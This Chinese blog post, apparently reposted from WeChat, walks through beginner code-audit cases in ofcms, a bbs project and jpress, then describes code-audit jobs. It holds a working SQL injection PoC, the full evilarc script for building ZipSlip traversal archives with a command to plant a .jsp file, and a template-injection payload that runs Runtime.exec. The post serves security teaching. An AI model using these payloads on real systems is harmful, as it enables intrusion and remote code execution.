今天文章前面是讲几个代码审计初级项目审计示例,最后一部分是代码审计实际的工作内容。
最近审计的项目都是按照下面步骤来的,因为项目规模较小。中等规模以上的项目就需要再增加一些步骤了。
审计大致思路:
1.了解项目目录分布,和项目框架结构,类型
2.观察功能,以及对应的路由
3.使用代码审计工具进行扫描,综合扫描结果-漏洞函数。
4.结合 3 扫描结果 以及 2 中项目功能/路由,分析漏洞函数是否为真,然后是怎么从功能对应的路由汇集到漏洞函数去的
5.……
为什么要观察功能呢,因为大部分漏洞函数都是因为功能代码产生的,还有一些是功能交接过程中隐藏产生的。还有功能可以让你联想到 poc 怎么利用更好。
1
ofcms sql 注入
它这个 sql 注入,是因为参数传递区别导致预编译没有使用上。如果不仔细看,容易忽略,因为它代码里基本上所有功能点里有 sql 交互的地方都用上了预编译。而且预编译写法还算正确。
功能点 :后台-创建表
功能函数:
/**
* 创建表
*/
public void create() {
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}
功能数据流分析:首先是利用 getPara 获取前台的参数 sql,getPara 没有对参数进行任何处理,然后就直接调用 Db.updata(sql)开始执行 sql 了。
下面是 updata 相关的执行代码:Db.update 里又会执行一个新的 update,并且传参一个空的没有内容 Object->>这个 update 里是做数据库连接用->>然后又执行一个新的 update 函数->>这个函数中使用 config.dialect.fillStatement(pst, paras)。
fillStatement:这里使用了 Preparement.setobject 把 paras 按占位符传入 sql 语句->>然后执行 sql。
这里就是因为没有 paras 参数导致的 sql 注入。就是我们直接传参,没有使用占位符,自然预编译也就没有发挥作用啦。
网上的 poc: update of_cms_ad set ad_name=updatexml(1,concat(0x7e,(database())),0) where ad_id=2
public int update(String sql) {
return update(sql, DbKit.NULL_PARA_ARRAY);
}
public int update(String sql, Object... paras) {
Connection conn = null;
try {
conn = this.config.getConnection();
return update(this.config, conn, sql, paras);
} catch (Exception e) {
throw new ActiveRecordException(e);
} finally {
this.config.close(conn);
}
}
int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {
PreparedStatement pst = conn.prepareStatement(sql);
config.dialect.fillStatement(pst, paras);
int result = pst.executeUpdate();
DbKit.close(pst);
return result;
}
这个漏洞就是要审计的时候观察参数处理以及传递方式。
2
bbs-zipslip 任意文件覆盖漏洞
zipslip 漏洞就是 系统代码没有做限定过滤的情况下,使用原生的 java zip 函数进行解压的时候,压缩包里带有../.././evil 这种文件会自动解压到目录里去,并且能够穿越目录层次到你需要的目录下。很多流行的ZIP解析库和JAVA项目都受到该漏洞影响
这里自己生成poc evil.zip 可以使用下面的代码:来自于
https://github.com/H4K6/evilarc/blob/main/evilarc.py
import sys, zipfile, tarfile, os, optparse
def main(argv=sys.argv):
p = optparse.OptionParser(description = 'Create archive containing a file with directory traversal',
prog = 'evilarc',
version = '0.1',
usage = '%prog <input file>')
p.add_option('--output-file', '-f', dest="out", help="File to output archive to. Archive type is based off of file extension. Supported extensions are zip, jar, tar, tar.bz2, tar.gz, and tgz. Defaults to evil.zip.")
p.set_default("out", "evil.zip")
p.add_option('--depth', '-d', type="int", dest="depth", help="Number directories to traverse. Defaults to 8.")
p.set_default("depth", 8)
p.add_option('--os', '-o', dest="platform", help="OS platform for archive (win|unix). Defaults to win.")
p.set_default("platform", "win")
p.add_option('--path', '-p', dest="path", help="Path to include in filename after traversal. Ex: WINDOWS\System32\")
p.set_default("path", "")
options, arguments = p.parse_args()
fname = arguments[0]
if not os.path.exists(fname):
sys.exit("Invalid input file")
if options.platform == "win":
dir = "..\"
if options.path and options.path[-1] != '\':
options.path += '\'
else:
dir = "../"
if options.path and options.path[-1] != '/':
options.path += '/'
zpath = dir*options.depth+options.path+os.path.basename(fname)
ext = os.path.splitext(options.out)[1]
if os.path.exists(options.out):
wmode = 'a'
else:
wmode = 'w'
if ext == ".zip" or ext == ".jar":
zf = zipfile.ZipFile(options.out, wmode)
zf.write(fname, zpath)
zf.close()
return
elif ext == ".tar":
mode = wmode
elif ext == ".gz" or ext == ".tgz":
mode = "w:gz"
elif ext == ".bz2":
mode = "w:bz2"
else:
sys.exit("Could not identify output archive format for " + ext)
tf = tarfile.open(options.out, mode)
tf.add(fname, zpath)
tf.close()
if __name__ == '__main__':
main()
使用命令示例:python poc.py "D:xxxxxxxx6.jsp" -d 4 -o win 具体使用看 git readme
漏洞功能:后台-升级 这个功能(我搭建的项目环境里)系统界面里是不能直接访问到的,需要你自己看代码,然后访问对应路由。
功能代码:ziputil功能类unzip方法:这个方法就直接将压缩文件解压到指定目录了,没有做其他限制。
/**
* 解压zip文件到指定目录
* @param zipPath 压缩文件
* @param destDir 压缩文件解压后保存的目录
*/
public static void unZip(String zipPath, String destDir) {
ZipArchiveInputStream ins = null;
OutputStream os = null;
File zip = new File(zipPath);
if (!zip.exists()) {
return;
}
File dest = new File(destDir);
if (!dest.exists()) {
dest.mkdirs();
}
destDir=formatDirPath(destDir);
try {
ins = new ZipArchiveInputStream(new BufferedInputStream(new FileInputStream(zipPath)), "UTF-8");
ZipArchiveEntry entry = null;
while ((entry = ins.getNextZipEntry()) != null) {
if (entry.isDirectory()) {
File directory = new File(destDir, entry.getName());
directory.mkdirs();
directory.setLastModified(entry.getTime());
} else {
String absPath=formatPath(destDir+entry.getName());
mkdirsForFile(absPath);
File tmpFile=new File(absPath);
os=new BufferedOutputStream(new FileOutputStream(tmpFile));
IOUtils.copy(ins, os);
IOUtils.closeQuietly(os);
tmpFile.setLastModified(entry.getTime());
}
}
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
// e.printStackTrace();
if (logger.isErrorEnabled()) {
logger.error("解压zip文件到指定目录",e);
}
} catch (IOException e) {
// TODO Auto-generated catch block
// e.printStackTrace();
if (logger.isErrorEnabled()) {
logger.error("解压zip文件到指定目录",e);
}
} finally {
IOUtils.closeQuietly(ins);
}
}
升级功能:直接调用 ZipUtil.unZip(updatePackage_path, temp_path);进行解压,
/**
* 立即升级
* @param model
* @param updatePackageName 升级包文件名称
* @param request
* @param response
* @return
* @throws Exception
*/
@ResponseBody
@RequestMapping(params="method=upgradeNow",method=RequestMethod.POST)
public String upgradeNow(ModelMap model,String updatePackageName,
HttpServletRequest request, HttpServletResponse response) throws Exception {
Map<String,String> error = new HashMap<String,String>();
Long count = upgradeManage.taskRunMark_add(-1L);
if(count >=0L){
error.put("upgradeNow", "任务正在运行,不能升级");
}else{
upgradeManage.taskRunMark_delete();
upgradeManage.taskRunMark_add(1L);
if(updatePackageName != null && !"".equals(updatePackageName.trim())){
//升级包文件路径
String updatePackage_path = PathUtil.path()+File.separator+"WEB-INF"+File.separator+"data"+File.separator+"upgrade"+File.separator+FileUtil.toRelativePath(updatePackageName);
//临时目录路径
String temp_path = PathUtil.path()+File.separator+"WEB-INF"+File.separator+"data"+File.separator+"temp"+File.separator+"upgrade"+File.separator;
//读取升级包
File updatePackage = new File(updatePackage_path);
if (updatePackage.exists()) {//如果文件存在
//解压到临时目录
try {
ZipUtil.unZip(updatePackage_path, temp_path);
} catch (Exception e) {
error.put("upgradeNow", "解压到临时目录失败");
//e.printStackTrace();
if (logger.isErrorEnabled()) {
logger.error("解压到临时目录失败",e);
}
}
3
jpress 模板注入
文件编辑功能审计
1.任意文件上传
文件名 上传路径 两个变量有一个可控即可,以及读取访问的时候是否有限制
2.模板解析
如果文件名 上传路径有做限制,内容可控情况下。可以考虑,文件内容解析漏洞,是不是有模板注入类型存在(需要存在对应解析框架解析方法),以及 xss
漏洞功能点:后台模板文件-编辑功能 .这个就限制了目录穿越,然后存在一个全局过滤器里的后缀 jsp 文件监测,所以只能试试模板注入啦。这里是 velocity 模板解析漏洞。
poc:
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager"))
#set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))
编辑功能:
public void doEditSave() {
String dirName = getPara("d");
String fileName = getPara("f");
//防止浏览非模板目录之外的其他目录
render404If(dirName != null && dirName.contains(".."));
render404If(fileName.contains("/") || fileName.contains(".."));
Template template = TemplateManager.me().getCurrentTemplate();
if (template == null) {
renderJson(Ret.fail().set("message", "当前模板无法编辑"));
return;
}
File pathFile = template.getAbsolutePathFile();
if (StrUtil.isNotBlank(dirName)) {
pathFile = new File(pathFile, dirName);
}
String fileContent = getOriginalPara("fileContent");
if (StrUtil.isBlank(fileContent)) {
renderJson(Ret.fail().set("message", "不能存储空内容"));
return;
}
File file = new File(pathFile, fileName);
if (!file.canWrite()) {
renderJson(Ret.fail().set("message", "当前文件没有写入权限"));
return;
}
FileUtil.writeString(file, fileContent);
TemplateManager.me().clearCache();
renderOkJson();
}
4
关于代码审计实际工作
在代码审计工作岗位主要是下面几种:
安全服务工程师
岗位数量:比渗透测试方面的安服岗位要少很多的,渗透测试和代码审计比例大概是 10:1
项目需求数量:比渗透测试的需求少,大部分是短期项目,长期项目都是金融领域大公司
项目规模:短期项目周期一般是 3-15-20 这样,长期项目都是驻场
工作要求:短期项目。不需要太高的审计漏洞质量,要求出报告快,因为代码量非常大。长期项目:需要较高的审计质量,因为这种公司基本上都有比较规范的审计流程。两种都是需要和开发掰扯一二,长期项目难掰扯,短期项目好掰扯一些。都是需要有理有据的和开发掰扯的。提供有效的修复建议给开发。
工作内容:审计项目类型分两种,公司自己开发,供应商产品。公司自己开发的除非使用了封装多次的框架,一般来说代码质量要稍微高一毛钱,较容易审计,供应商产品就五花八门啦,因为开发参与人数太多啦,代码框架结构非常混乱,不太容易审计(特别特别清晰的审计出来)。
审计工具,一般来说都是自带+公司购买使用的商业产品。
SDL 安全工程师
这个工作的话,涉及代码审计方面的内容主要是下面两个方面事情。
第一个就是偏安全建设方面啦,关于企业SDL安全开发,企业的SDL安全建设涵盖了从公司产品需求定义的早期阶段,项目立项、开发、测试、上线等各个开发生命周期阶段,直到安全审计以及后期维护的全过程。
第二个方面就是侧重于产品代码审计啦。
接触过一些关于这个岗位,不算很清楚。因为企业规模以及对安全的侧重点不同,不同的公司关于这块的都不一样。
red team
挖 0day 以及攻防演练时提供审计支持。
原文始发于微信公众号(天才少女Alpha):代码审计初级项目示例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论